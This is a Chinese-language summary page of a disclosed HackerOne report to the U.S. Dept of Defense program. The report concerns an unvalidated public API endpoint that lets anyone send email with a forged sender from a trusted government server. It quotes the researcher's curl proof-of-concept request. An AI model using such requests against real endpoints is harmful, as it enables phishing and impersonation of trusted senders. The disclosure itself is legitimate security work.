Sending trusted ████ and ██████████ emails through public API endpoint in ███████ site
该报告还没有中文解读。
原文摘录
摘自原文（2661 字符中的一小部分）
**Summary:** A publicly accessible endpoint at PUT https://████████does not validate any of its four parameters: to, from, subject, text. This enables sending email to any address, with any content, with any from address, on a server that is in ██████whitelist. Such services include, but are not …
原文中的代码
curl -X PUT --data '{"from":"Email POC <skarsomh1vdp@████>","to":"YOUREMAIL","subject":"Test under DC3 VDP at HackerOne","text":"This is a test. For more info see hackerone.com/deptofdefense."}' -k https://████████-H 'Content-type: application/json'
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 U.S. Dept Of Defense 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @skarsom · 版权归作者与 U.S. Dept Of Defense 所有